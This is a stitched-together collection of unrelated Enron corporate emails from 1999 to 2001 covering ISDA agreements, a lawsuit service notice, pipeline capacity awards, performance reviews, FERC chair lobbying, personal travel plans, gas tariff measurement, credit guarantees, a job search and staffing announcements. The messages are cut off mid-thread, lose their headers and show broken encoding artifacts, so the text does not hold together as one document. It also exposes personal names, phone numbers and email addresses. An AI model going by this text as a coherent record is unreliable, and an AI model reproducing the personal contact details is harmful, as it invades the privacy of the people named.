Shari Stack-power
Wayne Gresham-coal
Brent Hendry-weather
John Viverito-emissions

All:

Effective March 19, 2001,  AESC and ENA entered into a "Side Letter 
Agreement" which is an ISDA Master Agreement from a legal perspective.  ENA 
and AESC have agreed this morning to negotiate and execute a new ISDA Master 
Agreement by April 13, 2001.  Until that date, however, we can confirm 
financial trades between ENA and AESC under the Side Letter Agreement.  
Attached below is a markup of an ISDA form of confirmation which contains 
language for these confirmations (the draft was prepared for Kim Hundl 
handling financial power).

please let Ann K./ Barbara G. know about this case
----- Forwarded by Richard B Sanders/HOU/ECT on 03/06/2001 09:21 AM -----

=09Becky Stephens/ENRON@enronXgate
=0903/05/2001 03:53 PM
=09=09=20
=09=09 To: Richard B Sanders/HOU/ECT@ECT
=09=09 cc: Linda R Guinn/HOU/ECT@ECT, Bonnie White/ENRON@enronXgate
=09=09 Subject: service of process

The following documents, received today, have been forwarded for your=20
immediate attention:

Robert W. Ray, Jr., et al. v. Armstrong World Industries, Inc. (successor t=
o=20
Armstrong Cork Company); et al. (including Houston Pipe Line Company); No.=
=20
00-7-55,070-B, In the 135th Judicial District Court, Victoria County, Texas=
. =20
CITATION, PLAINTIFFS=01, FIRST AMENDED ORIGINAL ASBESTOS PETITION and JURY=
=20
DEMAND to Houston Pipe Line Company by process server on 3/2/01.

PLEASE ADVISE IF YOU DO NOT RECEIVE WITHIN 1 BUSINESS DAY.

Thank you !!

713/853-6576 (fax)
Becky.Stephens@enron.com

Parcel 8871 has been allocated as follows:

Bid number 3855 has been awarded to Canadian Natural Resources Limited for capacity release parcel 8871.

Releasing Shipper: Enron North America Corp.
Path: Kingsgate to Malin
Begin Date: 12/1/2001
End Date: 10/31/2003
Amount Awarded: 10000
Bid Amount: 100.0
Price Denomination: Percent Of Max Tariff Rate

System Award Message: Non-biddable parcel allocated in full to pre-arranged shipper

Bid number 3855 was awarded under new contract number 08171.

For additional information, contact our services and contracting department at (503) 833-4300.

I want to have a group mtg from 4:00-5:00 today to discuss some of the enron issues and then vol if we have a chance.

I was not sure if you wanted exposure by asset, liability or absolute value so I provided the top 25 assets and top 25 liabilities.  

Stacey  

Kim,

I have attached a draft of a term sheet regarding the provision of gas procurement services to Riverside.  Can you look at this and help me with the pricing, terms, delivery, etc....

The RFP is due on the 20th; however, we have to get it buttoned up by Wednesday the 18th.  Hope this is not a problem.

Thanks,

Laird

You have been selected to participate in the Mid-Year 2000 Performance 
Management process by providing meaningful feedback on specific employee(s) 
that have been identified for you.  Your feedback plays an important role in 
the performance management process, and your participation is very critical 
to the success of Enron's Performance Management goals.

Please provide feedback on the employee(s) listed below by accessing the 
Performance Management System (PEP) and completing an online feedback form as 
described in the "Performance Management Quick Reference Guide".  You may 
begin your feedback input immediately.  Please have all feedback forms 
completed by the date noted below.

process, please call the PEP Help Desk at the following numbers:

In the U.S.:  1-713-853-4777, Option 4
In Europe:  44-207-783-4040, Option 4
In Canada:  1-403-974-6724 (Canada employees only)

Or e-mail your questions to:  perfmgmt@enron.com

The following list of employees is a CUMULATIVE list of all feedback 
requests, by operating company, that have an "OPEN" feedback status.  An 
employee's name will no longer appear once you have completed the feedback 
form and select the "SUBMIT" button in PEP.

BECK, SALLY                     DAVID W DELAINEY                May 25, 2000
CHUN, INJA Y.                   BETH S PERLMAN                  May 19, 2000
COUSINO, LISA B.                STEPHEN P SCHWARZ               May 30, 2000
EARNEST, SCOTT                  AVTANSINI NATH                  May 26, 2000
HOPE, GEORGE J                  SHELLY L JONES                  May 23, 2000
LAUER, RICHARD P                DONNA LOWRY                     May 22, 2000
MELODICK, KIMBERLY A            CINDY L SKINNER                 May 15, 2000
MURPHY, THEODORE R              RICHARD B BUY                   Jun 06, 2000
PLEUS, SCOTT F                  TOD A LINDHOLM                  May 31, 2000
ROBERTS, CELESTE C              CHARLENE R JACKSON              May 22, 2000
SOLMONSON, MARY C               SALLY BECK                      May 18, 2000
SWEENEY, KEVIN G                AVTANSINI NATH                  May 30, 2000
VILLARREAL, NORMA E             CINDY L SKINNER                 May 15, 2000

Pat,  Please print out the attached documents for me.  Thanks.

---------------------- Forwarded by Gerald Nemec/HOU/ECT on 06/10/99 05:57 PM 

Lal Echterhoff
06/10/99 09:43 AM
cc:  
Subject: L ost Creek Compressor Station Contract

Gerald, 

I have made the corrections and changes in the Exhibits.  I have attached a 
list of the changes and as you can see, they are very minor.  I have ataached 
the corrected Exhibit and related Data Sheet files.
Lal

Just talked to Steve Jackson at AEP and it looks like they may want to use
DECAF to do intramonth confirmations.

We will have to come up with a way to confirm just certain deals and not all deals.

I will add to the meeting for next week.

thanks

bob

In today's Daily Update, you'll find forward-looking research on
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11/08/2000 03:53 PM
To: Vince J Kaminski/HOU/ECT@ECT, Stinson Gibner/HOU/ECT@ECT, Pinnamaneni 
Krishnarao/HOU/ECT@ECT, Vasant Shanbhogue/HOU/ECT@ECT, Mike A 
Roberts/HOU/ECT@ECT, Joseph Hrgovcic/HOU/ECT@ECT, Tanya 
Tamarchenko/HOU/ECT@ECT, Zimin Lu/HOU/ECT@ECT, Martin Lin/HOU/ECT@ECT, 
Maureen Raymond/HOU/ECT@ECT, Osman Sezgen/HOU/EES@EES, Paulo 
Issler/HOU/ECT@ECT, Amitava Dhar/Corp/Enron@ENRON, Alex 
Huang/Corp/Enron@ENRON, Kevin Kindall/Corp/Enron@ENRON, Kevin G 
Moore/HOU/ECT@ECT, Clayton Vernon/Corp/Enron@ENRON, William 
Smith/Corp/Enron@ENRON, Jose Marquez/Corp/Enron@ENRON, Chonawee 
Supatgiat/Corp/Enron@Enron, Shalesh Ganjoo/HOU/ECT@ECT, Tom 
Halliburton/Corp/Enron@Enron, Elena Chilkina/Corp/Enron@Enron, Sevil 
Yaman/Corp/Enron@Enron, Sofya Tamarchenko/NA/Enron@Enron, Bob 
Lee/NA/Enron@Enron, Gwyn Koepke/NA/Enron@Enron, Hector Campos/HOU/ECT@ECT, 
Anita DuPont/NA/Enron@ENRON, Youyi Feng/NA/Enron@Enron, V Charles 
Weldon/HOU/ECT@ECT, Yana Kristal/Corp/Enron@ENRON, Praveen 
Mellacheruvu/HOU/EES@EES, Li Sun/NA/Enron@Enron, Stephen 
Bennett/NA/Enron@ENRON, Roman Zadorozhny/HOU/EES@EES, Lance 
Cunningham/NA/Enron@ENRON, Leann Walton/NA/Enron@ENRON, Shane 
Green/HOU/EES@EES
cc:  
Subject: Wallet Cards

Attached is a draft of the new wallet cards for the Research Group.

Please look at your information and make any corrections necessary and
return to me.  If I have left anyone off, I apologize and please add your

If the information is correct as typed, please let me know.

Thanks!

Shirley

Probably not.  Let's communicate Breathitt's interest to Bone and stay out of 
it for now.

08/16/2000 08:42 AM
cc: Joe Hartsoe/Corp/Enron@ENRON, James D Steffes/HOU/EES@EES 
Subject: Re: Bill Massey  

Is this the right time to weigh ?

Steven J Kean
08/16/2000 06:56 AM
To: Joe Hartsoe/Corp/Enron@ENRON
cc: Richard Shapiro/HOU/EES@EES, James D Steffes/HOU/EES@EES 

I believe we should back Massey as well.  Who do we weigh in with now?

Joe Hartsoe@ENRON
08/15/2000 08:27 AM
cc:  
Subject: Bill Massey

Steve/Rick/Jim  ---  Talked to John Anderson yesterday.  He had just gotten 
off the phone with Massey.  Massey believes Linda B.  is spending time at the 
White House lobbying to be Chair.   Have we decided whether to back either 
and if so which?  I would prefer backing Massey.  Thoughts?   JOE  
202.466.9150   
---------------------- Forwarded by Joe Hartsoe/Corp/Enron on 08/15/2000 
09:13 AM ---------------------------

janderson <janderson@elcon.org> on 08/14/2000 03:05:28 PM
To: jhartso@enron.com
cc:  

Joe,

As you are probably aware, Jim Hoecker is considering leaving FERC
relatively soon.  The President will then name a new Chairman.  Bill Massey
is quite interested in receiving the nomination.

Please call to discuss.

John

Read it and weep...Just let me know if you want me to bring some sand back 
with me in case you don't make it out there this weekend.  I'm thinking I may 
need to get Julie to hook me up with a job like hers...if it will allow me to 
live like we're evidently going to this weekend.

Shorty

---------------------- Forwarded by Susan M Scott/HOU/ECT on 08/28/2000 05:33 
   
	From:  Julie Gibson <julieg@qualcomm.com>                           
08/28/2000 05:28 PM
	
To: Susan M Scott <Susan.M.Scott@enron.com>
cc:  
Subject: this weekend!

HI Susan-

I'm so excited for your visit this weekend!  Whenever you get a chance, let
me know your arrival time on Saturday and departure on Monday so I can plan
around them both....

I've been brainstorming some fun things for us to do, and thought we could
spend some time lounging at the beach, shopping at the outlet center near
me, go out for a champagne bunch on Sunday, grill out on the beach, and
possibly go to a polo match or the Del Mar races.  Which of these interests
you?  Are there any tourist sites that you would like to see while in
town?  The zoo, Balboa Park (where all the museums are), or anything
else?  Oh- I've arranged for us to have a massage on Monday- the woman is
coming to my house!  We'll each get a 30 minute massage....I think this
will be great quality, girl time!  I've missed our shopping binges!

Please bring any current pictures of friends and family- I can't wait to
hear how everyone in your life is doing.  Weather has been beautiful as
usual- about 75 degrees and perfect.  In the evenings it gets cool enough
to wear you need a light sweater or jacket, but you can always borrow
something from me, too.

The condo I'm living in now is tiny, but cute.  I've been living there for
a year and am moving out in 2 weeks.  I could have moved out this Labor Day
weekend, but obviously didn't want to be doing that while you were in
town.  So you'll have to excuse a bit of the mess and come back another
time when I move into the cuter place- I love the new place I'm moving
into- it's 2 stories with vaulted ceilings and lots of skylights.

See you soon!
Julie

The attached is a result of a phone call that I made to Rita to find out where we may have talked about daily measurement in the tariff just in case we need to explain this further to the Measurement Group.

Thanks,

Raetta

From: 	Bianchi, Rita  
Sent:	Monday, November 12, 2001 10:11 AM
To:	Zadow, Raetta
Subject:	Daily Measurement

I looked at the tariff and talked to Mary Darveaux.  NNG must have true daily measured volumes, as opposed to a monthly measurement divided by days in the month, for several business reasons.

References to daily volumes and calculations are sprinkled throughout the tariff.
1.  For example, under the TF & TFX Rate Schedules, the tariff states that the MDQ (maximum daily quantity) is the firm service that NNG is obligated to provide on a daily basis.  We can't provide a daily service if we do not have daily measurements.
2.  Curtailment provisions in the tariff require DAILY measurement.
3.  DDVCs require accurate DAILY measurement.  DDVCs are a part of NNG's revenue.  Even if NNG were to bill on scheduled volumes at the beginning of the month, true-up to actuals would be required.  DDVCs would not disappear, they would simply move from the commodity billing to imbalance billing after measurement close.  Order 637 may change some aspects of DDVCs but it will not eliminate them or change the daily nature of the abuses DDVCs are designed to discourage.

Furthermore - 
1.  That's the way the gas transportation industry operates.  It may not be a GISB standard, but it is a fact of life.  
2.  Most contracts executed through EOL are for 1-2 days of service at a time.  Gas flowing at a point could vary significantly during the month and a point may be used by different parties at different times.  We can't just assume that the same amount flowed every day for everyone.
3.  Overrun charges are based on gas flows above the contract MDQ (Maximum DAILY Quantity) each day of the month.  Using an artificial, average daily measurement would mask overrun volumes (and reduce NNG revenue, since Overrun pays a higher rate than firm commodity).  A shipper could avoid paying overrun if it flowed below MDQ on some days and above on others.
4.  We have several contracts with volumetric provisions which cannot be accurately billed without DAILY measurements.  An example would be Utilicorp and all of its Taconite contracts.
5.  NNG is looking at moving to daily dollar-valued OBAs.  If NNG can't tell what is flowing on a daily basis, customers can game the system by pushing extra gas into the pipe on days when the price is lower and withdrawing it on other days when the price is slightly higher.  Gas prices can fluctuate considerably during the month.  Multiplied times a bcf of gas, even a fraction of a cent change adds up to real money.  

these

Bloomberg

Prebon
Enron sells to 25 mw Pinacle West 3/11-3/12 Palo Verde at $92.00      

AMEREX WEST 

Interested in learning more about
the fun and convenience of
on-line stock trading?

Join EFCU for our
On-Line Stock Trading Brown Bag.

WHO:  Joel Spry of Star Financial Network 
will discuss the basics of on-line trading
and EFCU's trading program.

WHEN:  Friday, September 14, 2001
11:30 - 12:30

WHERE:  EB 5C2

RSVP:  joy.wagman@enron.com

Refreshments will be provided.

I was thinking of getting Suzanne a gift certificate from Urban Retreat as a 
Christmas gift and was wondering if anyone else would want to join me.  If 
you are interested, let me know by e-mail how much you would be willing to 
contribute and I will take care of it.  Thanks and Happy Thanksgiving! 

EB 3892

the first couple of pages sort of explains whose on first.
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/27/2001 03:17 
From: Reagan Rorschach/ENRON@enronXgate on 04/27/2001 11:30 AM
To: Kay Mann/Corp/Enron@Enron, Edward Sacks/ENRON@enronXgate
cc:  

Subject: FW: [Fwd: Revised Draft of Entergy/MDEA Interconnection Agreement]

From:  Marvin L. Carraway  [mailto:mcarraway@watervalley.net] 
Sent: Tuesday, February 27, 2001 12:39 AM
To: Reagan.Rorschach
Subject: [Fwd: Revised Draft of Entergy/MDEA Interconnection Agreement]

Return-Path: mgriffen@morganlewis.com
Received: from coldscn02.morganlewis.com ([12.104.97.122] verified) by 
watervalley.net (Stalker SMTP Server 1.8b8) with SMTP id S.0000039933 for 
<mcarraway@watervalley.net>; Mon, 26 Feb 2001 09:16:47 -0600
Received: from 131.254.253.172 by coldscn02.morganlewis.com with ESMTP ( 
WorldSecure Server SMTP Relay(WSS) v4.5); Mon, 26 Feb 2001 10:18:18 -0500
X-Server-Uuid: 76d36b76-3d48-11d4-a2af-00508bc764a5
Subject: RE: Revised Draft of Entergy/MDEA Interconnection Agreement
To: "Blair, Bonnie" <bblair@thompsoncoburn.com>
cc: "Blair, Bonnie" <bblair@thompsoncoburn.com>, cpuadmin@clarksdale.com, 
fnorton@morganlewis.com, mcarraway@watervalley.net, oburke@entergy.com, 
priest@yazoopsc.org, ttownse@entergy.com
Message-ID: <OFB18D22B6.B3725DB4-ON852569FF.0053B746@co.mlb.com>
From: mgriffen@morganlewis.com
Date: Mon, 26 Feb 2001 10:16:38 -0500
X-MIMETrack: Serialize by Router on COLDGTW01/SVR/MLBLaw(Release 5.0.3 |March 
21, 2000) at 02/26/2001 10:16:40 AM
X-WSS-ID: 1684AC30338188-01-01
Content-Type: multipart/mixed;  
boundary="0__=852569FF0053B7468f9e8a93df938690918c852569FF0053B746"

Sorry about that; some got the attachment but others didn't.  Here it is
again.  If this one fails too, please let me know and I'll have a copy
messengered over.

Thanks.

Mike Griffen
Morgan Lewis
(202) 467-7257

(See attached file: MDEA_IOA_2-25-01.doc)

                    "Blair, Bonnie"
                    <bblair@thompsonc        To:     
"'mgriffen@morganlewis.com'"
                    oburn.com>               <mgriffen@morganlewis.com>, 
"Blair, Bonnie"
                                             <bblair@thompsoncoburn.com>,
                    02/26/01 10:08 AM        cpuadmin@clarksdale.com,
                                             mcarraway@watervalley.net, 
priest@yazoopsc.org
                                             cc:     ttownse@entergy.com, 
oburke@entergy.com,
                                             fnorton@morganlewis.com
                                             Subject:     RE: Revised Draft 
of Entergy/MDEA
                                             Interconnection Agreement

Hi, Mike - - I received your e-mail, but the revised draft agreement was
not
attached, just two versions of your cover note.  Please resend.  Thanks.
Bonnie

From: mgriffen@morganlewis.com [mailto:mgriffen@morganlewis.com]
Sent: Sunday, February 25, 2001 9:00 PM
To: bblair@thompsoncoburn.com; cpuadmin@clarksdale.com;
mcarraway@watervalley.net; priest@yazoopsc.org
Cc: ttownse@entergy.com; oburke@entergy.com; fnorton@morganlewis.com
Subject: Revised Draft of Entergy/MDEA Interconnection Agreement

Please note that the Morgan Lewis e-mail domain has been changed
to "morganlewis.com". In most cases, the person's e-mail address is
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2

 - MDEA_IOA_2-25-01.doc

Cheryl just called from New York.  She is flying back today and may be in the 
office later today.

Eric

Iris,

Leaving for Ca in a few minutes. I shall get back to you Monday.

Vince

iris.mack@bnpparibas.com on 06/06/2000 10:36:46 AM
cc:  
Subject: Re[8]: Greetings from London (to Enron)

Hi,

     Thanks for your email.  Begining of July - what about July 4th week?

     Could you give me a bit more info regarding the best days for you and 
your
colleagues.

Thanks,
Iris

Internet

From:     Vince.J.Kaminski@enron.com on 06/06/2000 14:29 GMT

To:  Iris MACK

cc:  Vince.J.Kaminski

bcc:

Subject: Re: Re[6]: Greetings from London (to Enron)

Iris,

The beginning of July would be better for us. Please, let me know what
is your availability.

Vince

iris.mack@bnpparibas.com on 06/06/2000 02:30:49 AM

To:   Vince.J.Kaminski@enron.com
cc:
Subject:  Re[6]: Greetings from London (to Enron)

Hi,

     Thank you for your email.  How many days do we need?

     I have checked my calendar.and think that I should be able to come on
Monday June 19th (Tuesday June 20th - if you need more than one day)..

     I can fly from London to Houston during the following weekend to
arrive in
time for Monday morning.

     Let me know if these days are good for you and your colleagues.

Regards,
Iris

Internet

From:     Vince.J.Kaminski@enron.com on 25/05/2000 18:33 GMT

bcc:

Subject: Re: Re[4]: Greetings from London (to Enron)

Iris,

We can invite you for an interview to Houston.

What would be a  the time  for you?

Vince

iris.mack@bnpparibas.com on 05/25/2000 11:32:04 AM

cc:
Subject:  Re[4]: Greetings from London (to Enron)

Hi,

     Thank you for your prompt response.  I am interested in any contacts
you
may have in your rolodex.

     Also, I would be opened to talk to Enron as well.  Please let me know
more
details.

Iris

Internet

From:     Vince.J.Kaminski@enron.com on 25/05/2000 16:19 GMT

cc:  Vince.J.Kaminski, Stinson.Gibner, Grant.Masson,
Pinnamaneni.Krishnarao,
     Vasant.Shanbhogue

bcc:

Subject: Re: Re[2]: Greetings from London (to Enron)

Iris,

I shall go through my Rolodex and try to find some good leads for you. I
left
investment banking 8 years ago and this field changes very fast.

Alternatively, would you be interested in a company like Enron
or another energy company in Houston?

Please, let me know.

Vince

iris.mack@bnpparibas.com on 05/25/2000 09:20:01 AM

cc:
Subject:  Re[2]: Greetings from London (to Enron)

Hi,

     How are you?  Thank you kindly for your email.  Sorry I have not
responded
sooner.

     Currently I am working in Derivatives Structured Products and Risk
Management at BNP Paribas in London.  Although I currently enjoy living and
working in London, I may need to return to the states - because of my
mother's
failing health.

     Do you know of any good contacts at investment banks that I may
forward my
details to?

     For your information, I have attached my CV.  (Please see attached
file:
Iris Marie Mack.doc).

     Thank you in advance for your time and consideration.

Iris Mack

44 (0)20  7595 8665 (work)
44 (0)20  7229 9986 (home)

(See attached file: Iris Marie Mack.doc)

Internet

From:     Vince.J.Kaminski@enron.com on 04/04/2000 15:03 GMT

bcc:

Subject: Re: Greetings from London (to Enron)

Iris,

Please, feel free to give me a call when you have a few minutes.
I shall be glad to chat with you.

Vince

iris.mack@paribas.com on 03/30/2000 02:24:27 AM

To:   vkamins@enron.com
cc:   denis.autier@paribas.com
Subject:  Greetings from London (to Enron)

     How are you?  It was nice to meet you at the Real Options conference
in
NYC.

     I was intrigued by some of the comments in your conference talk.  In
particular, by your use of real options to hedge financial options.  This
is
something I am interested in as well.

     When you have some time, could we chat about this topic in a bit more
detail?

     Thanks for your time and consideration.  Hope to hear from you soon.

Regards,
Iris Mack

This message is confidential; its contents do not constitute a
commitment by BNP Paribas Group* except where provided
for in a written agreement between you and BNP Paribas Group*.
Any unauthorised disclosure, use or dissemination, either
whole or partial, is prohibited. If you are not the intended
recipient of the message, please notify the sender immediately.
*BNP Paribas Group  is a trading name of BNP SA and Paribas SA

Ce message est confidentiel; son contenu ne represente en
aucun cas un engagement de la part du groupe BNP Paribas*
sous reserve de tout accord conclu par ecrit entre vous et le
groupe BNP Paribas*. Toute publication, utilisation ou diffusion,
meme partielle, doit etre autorisee prealablement. Si vous n'etes
pas destinataire de ce message, merci d'en avertir immediatement
l'expediteur.
*Le groupe BNP Paribas est le nom commercial utilise par BNP SA et Paribas
SA

 - Iris Marie Mack.doc

BW2023  NOV 26,2001       2:00 PACIFIC      05:00 EASTERN

( BW)(TX-INDUSTRIAL-INFO-RES) Construction of Mexico's First Privately
Owned Ethylene Complex Hinges On Availability of Feedstock, in an

	   HOUSTON--(BUSINESS WIRE)--Nov. 26, 2001--Researched by
Industrialinfo.com (Industrial Information Resources, Inc; Houston).
Corporacion Grupo Serbo (Mexico City) first announced its intent to
construct an estimated $3 billion ethylene and derivatives complex in
Altamira, Tamaulipas earlier this year. Serbo's owner, Sergio Bolanos
Quesada, seeking partners to round out his 20% interest in the
complex, made the announcement shortly after it was revealed that
Serbo was purchasing the beleaguered engineering and construction
firm, Bufete Industrial (Mexico City). From the start, Serbo
understood that Petroleos Mexicanos (Pemex), the state run oil and gas
monopoly, would provide 71,000 barrels per day of naphtha feedstock
for the proposed 975,000 metric ton per year ethylene cracker.
	   Pemex has been slow to sign the 25-year contract sought by Serbo
for the complex it hopes to complete by late 2005. A need to insure
feedstock supply could possibly delay the anticipated early 2002
groundbreaking of the 10-unit complex, which will include propylene,
butadiene, polypropylene and other downstream products, as well as its
own cogeneration unit for electricity and steam. Serbo also has plans
to construct a "city" adjoining the complex, featuring homes, schools,
churches, and hospitals, among many other features over and above
those found in more traditional "company towns."
	   Serbo and its partners hope to sell 95% of the complex's output on
the domestic market, with an estimated 50% going to other
petrochemical companies in Altamira. The heavily industrialized
Altamira is home to plants owned by BASF, Shell, and other chemical
majors. Serbo would have to import its naphtha feedstock if Pemex
fails to comply with their preliminary agreement, as other naphtha
sources are simply not available domestically.
	   "With this stall, Pemex is hurting itself and quite possibly the
future of additional private petrochemical investment in Mexico,"
according to Annette Kreuger, chemical industry specialist with
Industrialinfo.com. "With Mexico's President Vicente Fox making recent
speeches that private investment is the hope for Mexico's
petrochemical future, it doesn't bode well when a state run company is
dragging its feet over its part in a $3 billion investment -- an
investment that not only increases Mexico's protection against an
anticipated surge in foreign petrochemical imports over the next few
years but also offers an increased quality of life for an estimated
2,700 future employees."
market place including alerts and databases for the energy and
industrial markets. For more information on trends and upcoming
construction activities for the chemical markets, including
petrochemicals and pharmaceuticals, send inquiries to
chemicalgroup@industrialinfo.com or visit us at www.industrialinfo.com

    --30--HM/ho*

             Trey Hamblet, 713/783-5147

    KEYWORD: TEXAS MEXICO INTERNATIONAL LATIN AMERICA
    INDUSTRY KEYWORD: BUILDING/CONSTRUCTION CHEMICALS/PLASTICS
ENERGY GOVERNMENT

Kay:

I am attaching a blackline of the Letter Agreement that includes
Marguerite's latest changes so that your tax/accounting specialists may
review Section 5(e) (which deals with deemed refunds and deemed payments).
Although we are still reviewing the Letter Agreement and the other
transaction documents, we wanted to alert you to Section 5(e) so that we
could discuss this provision with you on the 12:30 call.

Thanks,

John and Marisa

 <<2xn3RED.DOC>>

 - 2xn3RED.DOC

Please see the attached revised guarantees.  Let me know if they are ok.  Thanks.

From: 	Williams, Jason R (Credit)  
Sent:	Monday, October 22, 2001 9:04 AM
To:	Espinoza, Veronica; Sayre, Frank
Subject:	RE: e prime guarantees

Frank -

I have one additional (and substantial) change that needs to be made to the e prime Energy Marketing, Inc. guaranty.  We will be trading both financially and physically with this counterparty, so the guaranty needs to be written accordingly.  It appears that the guaranty as currently drafted is intended solely for financial trading.

Please call me with any questions.

Thanks,

JRW

Sent:	Friday, October 19, 2001 3:28 PM
To:	Sayre, Frank; Williams, Jason R (Credit)

Frank--

Just a couple of credit comments for the attached gty's:

For the e prime, inc. Gty:
Change the name of Excel Energy Inc. to Xcel Energy Inc. in the header
Under the first Whereas, add Enron Canada Corp. (fka Enron Capital & Trade Resources Canada Corp.) ("ECC") as an additional Enron Entity being covered under this gty
Under the 4th Whereas clause, insert ECC as another Enron entity being covered for the physical transactions (confirmed under short term gas contracts)
On the 2nd page, 2nd paragraph--should we define what "Enron Parties" means???
Also, does it matter whether the counterparty's name is in all caps???  They represent it in small caps on all of their docs.

For the e prime Energy Marketing, Inc. Gty:
Add Enron Canada Corp. as an additional Enron entity
Insert another Whereas clause (after the first Whereas clause) that specifies the physical gas transactions with ENA and ECC under certain contracts (none executed yet) or confirmations
Again, do the small caps really matter???

That should be all, unless Jay has some more to add.  Please let me know whether you have any questions.  Thanks again for your help on this!

Regards,

Veronica

From: 	Sayre, Frank  
Sent:	Friday, October 19, 2001 11:59 AM
To:	Williams, Jason R (Credit); Espinoza, Veronica; Otto, Charles H.; Ortiz, Lucy
Subject:	e prime guarantees

Please find attached copies of two draft guarantees for the e prime group of companies.  The first guarantee is a very complex $30 million one that is based upon e prime Inc.'s relationship with the company as far as Stephanie Panus and I can tell from existing records.  Please review it very very (mucho very) carefully since you are much more familiar than we are with the physical side of this guaranty (especially the reference to "credit, loans or advances" that we simiply copied from the previous guaranty to the present one).  The second guaranty is a much simpler one in the amount of $10 million covering e prime Energy Marketing Inc.'s trading under thieir new ISDA. Based on my conversations with Jay, this is the guaranty structure desired by e prime.  Thanks

 << File: e prime parent.doc >>  << File: e prime energy marketing.doc >> 

---------------------- Forwarded by Larry F Campbell/HOU/EES on 08/01/2000 
02:03 PM ---------------------------
   
	From:  JoAnn Lavine                           08/01/2000 02:01 PM
	
To: Larry F Campbell/HOU/EES@EES
cc: Susan Weison/HOU/EES@EES 
Subject: Suiza

Larry,  Please be advised that the three (3) Suiza/Tuscan Dairy accounts in 
Union, NJ behind Elizabethtown are ready to receive supply from EES beginning 
September 1, 2000.  Any questions, please call.

Tyson has gotten a call-back from the governor's office.  She's going to call 
him back shortly to try to sell him on the plan (i.e., private sector to the 
rescue) and ensure that he'll come to the party.  She'll call me back as soon 
as she talks to him.

Curious--do we have any sense of whether there's much activity within the 
adminstration on this, or can we expect the wait and see approach to continue?
Best,
Jeff

On Saturday, April 1, 2000, Enron will be hosting the "Enron Earth Day 
Festival" located at Buffalo Bayou Park.  The Allen Center Garage will be 
used for event parking.  Enron personnel, contract employees and the public 
will be allowed free parking in the Allen Center/Met Garages. Parking will 
also be available in all metered parking areas free of charge on Saturday.  
If you have contract parking in either of these garages please be prepared to 
use your garage access card to enter the garage, this will save Enron event 
parking fees.

Please take note, if you are planning to work on Saturday, April 1, there 
will be no parking allowed on Andrews or Shaw Street during the below 
mentioned times and locations. Cars parked on the street around Enron, 
Antioch Park and Allen Center Garages could be towed by Houston Police 
Department due to heavy traffic.  Also, note that the Allen Center/Met 
Garages may fill quickly due to the Enron Earth Day event. 

The following streets are scheduled to be closed from 8:00 a.m. until 8:00 
p.m.

No admittance onto Anrdrews Street (in front of the Enron Building) from 
Smith Street.
No east bound admittance onto Andrews Street from Howe Street or Fuller 
Street.

Metro will have a free shuttle service to the Festival from the corner of 
Andrews and Shaw near the Allen Center Garage.

Looks very good but i'd take out the one reference.  Larry doesn't usually 
speak like that (at least not to me..)

From:  Attanasio, Edward  
Sent: Friday, May 18, 2001 6:40 PM
To: Jones, Scott; Soldano, Louis; Campbell, Larry
Cc: Jacobs, Bob; Sample, Molly
Subject: NCL Soil Contamination -- HC and HG -- Letter to Koch

 Here's a draft of the letter we talked about earlier today.  Comments?  
Thanks.

 << File: 0518a101.doc >> 

tana

many many thanks!

j

From: Tana Jones on 17/10/2000 11:08 CDT
To: Anne Edgley/LON/ECT@ECT
cc: Justin Boyd/LON/ECT@ECT 

Subject: Re: ISDA Agreements - Hypovereins/Bank Austria  

Below is an icon that will get you view access to the financial agreement 
database.  This lists all the financial agreements we either have executed or 
have drafts out to the counterparty (except Australia, which we are currently 
loading into the database).   This database is available with view access to 
any Enron employee.  If you have any questions about a specific entry, please 
do not hesitate to call me (or email me!).

Link -->

	Anne Edgley
	10/17/2000 10:15 AM
		
		 To: Justin Boyd/LON/ECT@ECT
		 cc: Tana Jones/HOU/ECT@ECT, Markus Fiala/LON/ECT@ECT
		 Subject: Re: ISDA Agreements - Hypovereins/Bank Austria

Thanks Justin. As a follow-uo, Credit.com are now asking whether they can 
have a list of all counterparties with whom with executed ISDAs. I presume 
that is a long list but hopefully easily available. Thanks again for your 
help.

17/10/2000 15:16
cc:  

Subject: Re: ISDA Agreements - Hypovereins/Bank Austria

Anne

FYI

J
---------------------- Forwarded by Justin Boyd/LON/ECT on 17/10/2000 15:18 
From: Tana Jones on 17/10/2000 09:11 CDT
cc:  

No, no ISDA's or other master agreements in place with this counterparty.

	Justin Boyd
	10/17/2000 05:04 AM
		 
		 cc: 
		 Subject: ISDA Agreements - Hypovereins/Bank Austria

Hi Tana!

Could you assist on this?

Justinian

---------------------- Forwarded by Justin Boyd/LON/ECT on 17/10/2000 11:06 

Anne Edgley
17/10/2000 11:00
cc:  

Subject: ISDA Agreements - Hypovereins/Bank Austria

I have been asked by Credit.com whether there are ISDA agreements in place 
with the above mentioned banks (who are about to merge). I suspect the answer 
is No but please can we find out.
Thanks.

Enron Global Markets (EGM) has made numerous organizational changes as its=
=20
businesses continue to grow and expand around the world.  We are pleased to=
=20
announce the following changes within EGM.

Financial Trading=20
The Convertible Arbitrage desk has moved from EnronCredit.com to the=20
Financial Trading group under Gary Hickerson.  Mike Bradley will manage the=
=20
desk. =20

Billy Lemmons has joined Gary Hickerson's group from EIM.  He is exploring=
=20
the agriculture value chain and origination opportunities.

Transportation and Shipping
Dan Reck will be transitioning out of the coal group and will be exploring=
=20
our rail and trucking initiatives.  These markets together represent=20
approximately $105 billion notionally, and we believe there are many=20
synergies between our energy, coal, and freight trading businesses. =20

Enron is currently trading dry-freight through EOL and is a leading market=
=20
maker in this new product. The shipping business is growing very quickly.  =
We=20
have asked Pierre Aury and Scott Montcrief to co-lead our worldwide vessel=
=20
trading businesses.  Scott will be responsible for all liquids vessel=20
businesses and Pierre will manage all dry vessel businesses.  The LNG vesse=
l=20
business currently managed by Wayne Perry will remain in the LNG group, but=
=20
will also report to and coordinate with Pierre and Scott.

Weather
Our worldwide weather operations will continue to report to Mark Tawney in=
=20
Houston.  This business, which includes trading weather products in 10=20
countries and 40 states in the U.S., is also rapidly expanding.  Mark will=
=20
have all V@R allocation responsibility between Sydney, Tokyo, Oslo, and=20
Houston.  In addition we will be forming a weather-marketing desk in London=
. =20

Crude and Products
Bill White will be coming over from EBS and will have responsibility for al=
l=20
U.S. financial crude trading.  Don Schroeder will continue to have oversigh=
t=20
and lead our physical crude business.  Mario De La Ossa has joined EGM from=
=20
Equiva and will manage our product options book.=20

Doug Leach will be expanding his fuel management and origination role.  He=
=20
will report directly to John Nowlan.

Finance and Structuring
Andrew Makk has joined the finance team from the Middle East group.  Most=
=20
recently he has been working on the Gaza project.

